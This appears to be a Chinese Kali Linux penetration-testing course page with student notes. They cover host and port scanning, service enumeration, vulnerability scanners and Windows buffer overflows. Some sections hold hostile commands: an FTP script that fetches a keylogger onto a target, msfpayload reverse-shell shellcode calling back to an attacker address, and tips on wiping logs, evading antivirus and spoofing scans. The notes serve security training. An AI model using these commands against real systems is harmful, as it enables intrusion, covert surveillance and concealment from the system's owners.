846人加入学习
(36人评价)
Kali Linux安全测试

爆款好课 NO.1

价格 ¥ 599.00
该课程属于 武官课程 请加入后再学习

网上公开的exp代码 

选择可信赖的exp源

Exploit-db SecurityFocus Searchsploit

必须有能力修改exp (python perl ruby c c++)

修改shellcode的参数

Windows环境下编译 

apt-get install mingw32

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe 

wine sl.exe 192.168.20.32

 

漏洞后利用阶段

上传工具 持久控制 扩大对目标系统的控制能力 linux系统 netcat curl wget windows 缺少预装的下载工具 

提权 

擦除攻击痕迹 日志会残留痕迹

安装后门 长期控制 dump密码 内网渗透

最大的挑战——防病毒软件

使用合法的远控 

非交互模式shell nc的shell就是非交互的

无法使用自动补全

子命令 进一步输入 远程非交互shell不能支持

向windows目标系统传输文件

使用tftp传输文件 基于udp协议 明文传输 不支持身份验证 xp 2003默认安装 win7 2008需要单独安装 经常被边界防火墙过滤

kali

mkdir /tftp

cp /usr/share/windows-binaries/需要拷贝的软件 /tftp/ 

chown -R nobody /tftp/

atftpd --daemon --port 69 /tftp

注意69端口一定是tftp侦听

windows

tftp -i tftp服务器地址 get 文件名

 

使用ftp传输文件

kali安装pure-ftpd 配置比较麻烦

基于非交互shell 需要预先把需要执行的命令先写入一个文件

windows

>写入 >>追加写入

echo open 192.168.1.117 21>ftp.txt

echo yuanfh>>ftp.txt

echo password>>ftp.txt

echo bin>>ftp.txt

echo GET whoami.exe>>ftp.txt

echo GET klogger.exe>>ftp.txt 

echo bye>>ftp.txt

 

ftp -s:ftp.txt ftp从文件中找命令来执行

 

通过VBSCRIPT传输文件 早期的windows

cscript 调用解释vbscript脚本

通过POWERSHELL传输文件 较新的windows

.ps

使用DEBUG传输文件 只能传输64k

upx压缩 

upx -9 nc.exe 

将exe2进制文件转换成bat

用wine在linux下调用exe

wine /usr/share/windows-binaries/exe2bat.exe nc.txt

将文件echo到目标系统

把hex文件输入到debug调试

cp 1.dll 1.exe

启动1.exe 也就是nc

 

 

[展开全文]

edb调试工具

新版linux内存保护机制

dep aslr 堆栈cookies 堆栈粉碎

本机调试iptables

iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP

iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP

限制端口访问 只能在本机访问

opcode search 查找汇编指令

 

 

 

[展开全文]

测试坏字符

发送0x00-0xff 256个字符,找出所有坏字符

00000000 一个字符 11111111 一个字节最大

usr/share/metasploit-framework/tools/pattern_create.rb 2700

创建唯一字符串

变通思路

寻找地址固定的系统模块

利用系统模块jmp esp指令

mana.py 

!mona modules mona查看模块

rebase 系统重启

dep

aslr

os dll 是否是系统自带的

!mona find -s"\xff\xe4" -m 模块名 查找某个模块里的jmp esp的二进制

mrtasploit的脚本nasm

生成shellcode

Scratch自己写

生成payload shellcode是其中一种

./msfpayload -l 查看有多少shellcode

反向链接shellcode 

./msfpayload win32_reverse LHOST=192.168.1.117 PORT=444 c

指定脚本,反向连接的地址和端口 c语言格式的shellcode 

R 指定原始格式,才能编码

EXITFUNC=thread 指定通过退出线程的方式退出shellcode,避免崩溃

通过 grep 来查看是否有坏字符

./msfencode 编码 通过管道编码 避开坏字符 -b 表示不要哪些字符

\x90 nop

nc -vlp 444 侦听本机端口

操作系统配置在注册表 注册表改键值来开启3389

rdesktop linux系统下的windows远程桌面

RegSnap 抓取注册表快照,来比照变化

 

 

[展开全文]
hl0rey · 2017-05-07 · FUZZING 0

POP3

了解未知协议 

 wiresharik 

 RFC(了解标准协议)

 

FUZZING测试

调试工具附加进程 可以根据 pid 查找

netstat -nao

41 ascii码的a

二分法准确查找溢出的字节

唯一字符串 4个一组 到时候看是哪4个字符

内存存放时倒过来

[展开全文]
hl0rey · 2017-01-29 · POP3 0

缓冲区溢出 

zeroday/0day 漏洞

漏洞的原因 

可以接收变量 

程序没有严格区分数据和代码边界 

shell脚本漏洞简单原理 没有过滤用户输入的参数

#!/bin/bash

echo $1

;pwd  前面加分号;管道|and & && 引号闭合‘’“”,系统命令执行

 

缓冲区溢出原理

漏洞挖掘 

 源码审计 不安全函数 变量缺乏检测 

 逆向工程 反汇编

 模糊测试 安装运行程序,向程序堆栈发送随机数据观察内存变化,判断溢出

 数据生成器 随机半随机

 测试工具(动态调试)识别溢出

WINDOWS缓冲区溢出

 SLMail 5.5.0 Mail Server 

 ImmunityDebugger_1_85_setup.exe

 mona.py

dep 防止从数据段执行代码 

aslr 内存地址动态分配

 

 

[展开全文]

(收费的,贼鸡巴贵)NEXPOSE 

Rapid 7 公司生产

[展开全文]
hl0rey · 2017-01-28 · NEXPOSE 0

nmap弱点扫描

smb-vuln-ms10-061.nse Stuxnet蠕虫利用的4个漏洞之一 Print Spooler权限不当,打印请求可在系统创建文件 执行任意代码 LANMAN API枚举共享打印机 远程共享打印机

smb-enum-shares枚举共享 身份认证参数 smbuser,smbpassword 

nmap -p445 --script=smb-enum-shares.nse --script-args=smbuser=admin.smbpassword=pass 1.1.1.1

win7之前的系统

 

OPENVAS Nessus项目分支 管理目标系统漏洞 免费开源 kali默认安装。但未配置和启动

OPENVAS配置

 

 

[展开全文]
hl0rey · 2017-01-27 · NMAP 0

发现弱点

搜索漏洞哭

searchsploit tomcat 

sandi-gui(2.0没有了)

搜索漏洞利用

使用弱点(漏洞)扫描器

漏洞扫描类型 

主动扫描 有无身份验证 

被动扫描 镜像端口抓包 其他来源输入

基于Agent的扫描 支持平台有限 

CVSS通用的漏洞评分系统

CVE编号 给漏洞编号

MS编号 微软漏洞

MSKB编号 微软漏洞补丁

CERT

BID

IAVM

 

OVAL 开放的漏洞描述语言,技术性的描述(如何检测什么的)

CCE 描述软件缺陷的标准格式,配置缺陷检测

CPE 信息化产品,系统,软件包分类命名

CWE 通用的弱点的描述,给弱点进行分类

SCAP 集合了多种安全标准的框架

NVD 美国国家弱点数据库完全按照SCAP完成的

漏洞管理三要素 准确性 时间 资源

 

[展开全文]
hl0rey · 2017-01-26 · 弱点扫描 0

防火墙识别

nmap -sA 192.168.1.1 -p22

-sA 发ack包

 

负载均衡识别

广域网负载均衡 dns轮询 一个域名对应多个ip

智能dns 不同地方解析到的ip不一样

服务器负载均衡 HTTP-loadbalancing

应用负载均衡 Nginx  apache

组件级负载均衡

检测负载均衡

lbd www.baidu.com

 

WAF识别(WEB应用防火墙)

wafw00f -l 显示能检测哪些防火墙

wafw00f 跟地址

nmap 地址 --script=http-waf-detect。nse

调用脚本来识别waf

 

NMAP工具

nmap 所有参数

主机发现

-iR 跟随机扫描的主机数量,nmap随便扫描数量的主机

--exclude 跟一个地址或者地址段指定哪个或者哪些地址不扫描

--exccludefile 一个文件中的地址不扫

-sL 子网掩码计算功能,查看扫描的地址段有哪些地址

-sn 不做端口扫描

-Pn 防火墙过滤请求时,不给回复,仍然坚持扫描

-PS/PA/PU/PY

-PE/PP/PM

-PO ip协议的扫描

-n 不做dns解析 

-R 做反向解析

--dns-servers 指定做dns解析时用的dns服务器

--system-dns 用系统配置的dns服务器

--traceroute 路由追踪

端口发现

-sS/sT/sA/sW/sM TCP扫描 

-sU UDP扫描

-sN/sF/sX 

--scanflags 个人自定义flags

-sI 僵尸扫描

-sY/sZ SCTP协议

-sO ip扫描

-b ftp扫描

-p U:指定UDP端口 T:指定TCP端口

--exclude-port 不扫哪些端口

-F 快速模式

-r 连续扫描端口

--top-port 指定扫描nmap默认1000端口中前几个

--port-ratio 常用端口

-sV 判断端口服务

--version-intensity 服务发现等级

--version-trace 显示扫描详细

--script

--script- trace 脚本详细

--script-help 查看脚本帮助

系统检测

-O 系统os检测

--osscan-limit 限制系统检测

--osscan-guess

' s' ' m' ' h' 扫描延迟避免打草惊蛇

-T 扫描速度

 

--max-retries 最大尝试次数

--host-timeout 最大超时时间

--scan-delay 扫描延迟时间

--min-rate 最小发包速率

--max-rate 最大发包速率

防火墙/ids欺骗躲避

-f/--mtu 设置mtu值,最大mtu由最小mtu决定

-D 伪造发包源地址,增加噪声的ip,不是伪造自己的原地址,生成虚假扫描包

-S 欺骗源地址 尽量使用 -e 指定一个网卡

-g 使用指定的源端口

--proxies 指定一个代理服务器帮助发包

--data 在数据包数据字段里加入数据,必须是一个16进制数

--data-string 加入ascii码

--spoof-mac mac地址欺骗

--ip-option

--ttl 设置ttl

--badsum 差错检测欺骗

 

 

[展开全文]
hl0rey · 2017-01-26 · SMTP扫描 0

SMB扫描

SMB协议(主要是windows) 常用tcp端口139,445

nmap -v -p139,445 192.168.1.0/24 

nmap 192.168.1.132 -p139,445 --script=smb-os-discovery.nse 调用一个脚本来扫描发现是什么系统

nmap -v -p139,445 --script=smb-check-vulns --script-args=unsafe=1 

后边可以指定扫描的参数 可以unsafe或者safe=1 采取安全的扫描 或者不太安全的扫描

加-Pn 拦截仍然扫描 

nbtscan -r 192.168.1.1 

-r 使用本地137端口 兼容性最好 可以扫描c段

enum4linux -a 192.168.1.1

不支持掩码大网段扫描 扫描结果详细

SMTP扫描 用来发现目标系统的邮件账号

nc -nv 1.1.1.1 25 tcp25端口邮件服务器

VRFY root 确定是否存在root

nmap smtp.163.com -p25 --script=smtp-enum-users.nse --script-args=smtp-enum-users.methods=[VRFY] nmap调用脚本来扫描邮件服务器枚举用户 加-U 参数指定一个用户或者字典 

nmap smtp.163.com -p25 --script=smtp-open-relay.nse 扫描邮件中继是否开启

 

[展开全文]
hl0rey · 2017-01-25 · SMB扫描 0

主动操作系统识别

通过ttl值识别

windows系统:128(65-128)

linux/Unix:64(1-64)

某些linux:255

python脚本利用scapy,根据ttl值判断

nmap 1.1.1.1 -O 识别系统OS参数前后无所谓,nmap基于多种方式判断

xprobe2识别目标操作系统版本 

xprobe2 1.1.1.1 

猜测范围太大 想去甚远

被动操作系统识别(基于监听抓包原理)

p0f 进入监听状态

SNMP扫描(简单网络管理协议)

UDP 161(服务端) 162(客户端) 端口

信息金矿 偏重功能实现,经常被错误配置  Community(public/private(可写)/manager)错误配置 

SNMP通用标准 (MIB库) 向snmp发送参数来查询服务器信息 树形结构的MIB库

onesixtyone SNMP扫描工具

onesixtyone 192.168.1.1 public

onesixtyone -c dict.txt(字典文件,自带的) -i 主机名字典或者主机名 -o my.log -w 100

SNMP协议是明文传输的

snmpwalk工具

snmpwalk 192.168.1.1 -c public -v 2c(版本至今有三个版本 1c 2c 3c)

snmpcheck -t 192.168.1.1 

-c指定Community -w检测是否有可写的权限

 

 

 

[展开全文]

服务扫描

识别开放端口上运行的应用

识别目标操作系统

提高攻击效率 

 Banner捕获 服务识别 操作系统识别 SNMP分析 防火墙识别

Banner

软件开发商 软件名称 服务类型 版本号 直接发现漏洞

直接联机建立后直接获取banner

另类服务识别方法 特征行为和响应字段 不同的响应可以用于识别不同的操作系统

SNMP

简单网络管理协议

Community strings  

信息查询或重新配置

 

扫描Banner信息

nc - nv 192.168.1.134 22 

python socket 模块用于连接网络服务

Banner不允许抓取,recv函数无返回将挂起

dmitry -p 执行tcp扫描 

dmitry -pb 执行tcp扫描端口,阅读Banner信息

nmap -sT 192.168.1.134 -p 22 --script=banner.nse 用nmap调用脚本 -sT 完整的tcp链接 -p指定端口,可以是一个范围

amap扫描端口后的服务工具

amap -B 192.168.1.133 445 扫描 192.168.133的445端口的Banner信息,也可以指定范围

 

nmap响应特征分析识别服务

nmap 192.168.1.134 1-100 -sV 

-sV 通过指纹信息来识别服务

amap服务识别

amap 192.168.1.134 1-100 不跟参数

amap 192.168.1.134 -q

amap 192.168.1.134 -qb

更多的基于Banner信息识别,也基于指纹,与nmap各有所长

 

[展开全文]
hl0rey · 2017-01-25 · 服务扫描 0

僵尸扫描

隐蔽性高 思路巧妙 条件苛刻 较为复杂

建议使用脚本 满足个性需求

nmap 僵尸扫描 

nmap -p445 192.168.1.133 --scrpt=ipidseq.nse 

调用一个脚本来发现僵尸机

nmap 192.168.1.134 -sI 192.168.1.133 -Pn -p 0-100

-sI 指定僵尸机

 

[展开全文]

445 windows特征

隐蔽端口扫描

nmap -sS 

[展开全文]
hl0rey · 2017-01-24 · 端口扫描 0

四层发现

namap 1.1.1.1-254 -pu53 -sn  udp扫描,返回icmp不可达

namap 1.1.1.1-254 -pa80 -sn 基于tcp,发送ack包,返回rst包

namap -li 文件 

hping3 --UDP 1.1.1.1 -c 1 

hping用flag0的方式 准确性不高

端口扫描

udp端口扫描

icmp port unreachable 响应表示端口扫描 但是如果目标系统不响应的话 可能误判

完整的udp应用层请求 准确性高 耗时巨大

scapy UDP scapy

namp -sU 1.1.1.1 默认1000个参数常用的端口

-p端口号 扫描哪个 -p-扫描所有端口

TCP端口扫描

基于连接协议 三次握手 表示端口开房

隐蔽扫描 不三次握手 不建立完整连接 syn-ack 应用层没有记录 网络层有记录 

僵尸扫描 扫描者和目标者所在的网络环境,扫描者必须能实现地址伪造 僵尸机必须在网络里闲置,ip头的id(identification)必须是递增的  实现过程:扫描者向僵尸机发送syn+ack包,僵尸机回一个rst(其中有ipid) 扫描者向目标发一个syn包(伪造源地址的) 僵尸机也认为不是一个正常包,会返回一个rst包(ipid会递增) 扫描者再向僵尸机发一个syn+ack 僵尸机回复一个rst(其ipid递增了两次了) 此可以判断目标某端口开放 端口若没开放,目标会发一个rst给僵尸机 扫描者向僵尸再发syn+ack返回的rst(ipid只递增了1) 则端口没开放

全连接扫描  不够隐蔽

 

[展开全文]

四层发现 利用四层通信查看ip是否在线 针对端口来发现但不对端口状态扫描

优点

可路由 结果可靠(使用tcp udp协议,而三层使用icmp协议) 不太可能被防火墙过滤 甚至可以发现所有的端口都被过滤的主机 

缺点

基于状态的过滤的防火墙可能过滤 全端口扫描比较慢

tcp协议

正常 syn——syn+ack、rst

未经请求的ack——rst 

udp协议 尽力传输 无需确认 

端口没有开放时,会返回一个icmp的端口不可达的回复

 

 

 

直接发送ack数据包 

[展开全文]

扫描发现仅供参考

三层发现(ip协议 icmp协议)

优点:可路由 速度快

缺点:扫描速度比二层慢 经常被边界防火墙过滤

ping命令 用icmp协议 默认是8 返回是0

-c 指定发几个ping包

-R 也可以进行路由追踪

tracerroute 路由追踪 用icmp协议

scapy 发送数据包

namap IP地址 --sn 是同一网段就arp包不是同一网段就是icmp包

fping IP地址 -c 指定发的包数量 

hping 能够发送各种包 但只能对一个目标

 

linux Unix 系统默认ttl值为64

[展开全文]

arp通信原理基于广播

netdiscover工具 

专用二层发现 可用于无线

主动

netdiscover -i eth0 -r ip地址或ip地址段

netdiscover -l ip列表文件

被动

netdiscover -p 设置网卡为混杂模式

 

scapy工具

可以作为python库进行调用 也可作为单独的工具使用 抓包 分析 创建 修改 注入网络流量

scapy 进入scapy

ARP() 使用arp函数 定制一个arp数据包 

ARP().display() 显示默认的数据包字段

实例: 

arp=ARP() 定义一个变量赋值为ARP()

arp.pdst="192.168.1.1"

sr1(arp) 把定义的包发出去

answer=sr1(arp) 把返回的数据包赋值给answer

用一行实现

sr1(ARP(pdst="192.168.1.1"),timeout=1,verbose=0)

python脚本结合scapy实现

nmap速度很快

chmod u+x 赋予执行权限

渗透进一个机器再发现别的机器

 

[展开全文]

被动信息收集的结果用主动信息收集来验证一下,切发现更多的信息

主动信息收集

直接与目标系统进行交互

无法避免留下访问痕迹

使用受控第三方电脑进行探测: 代理或者肉鸡 做好封杀准备 

发送大量噪声(辣鸡请求),来迷惑被测试系统,淹没探测流量伪造虚假ip

扫描 发送不同的探测,根据返回结果判断目标状态

第一阶段 发现:

识别存活的主机 ip是否存在 形成一个ip地址列表(一个攻击面)

二层发现(arp协议)数据链路层

优点:速度快/可靠 缺点:不可路由,无法跳

arping工具 

arping 加内网ip地址,发arp包 不加参数不停发

-c 指定发多少包  -d 发现重复的响应(ip)(如果相同应答从不同的mac来)  

可以用管道过滤

通过脚本实现arping一个网段

nmap工具

nmap IP地址 -sn(参数在前在后都可以) 只进行ping扫描 IP地址/24 扫描一个段

nmap -il 调用一个文件 -sn 然后扫描

 

[展开全文]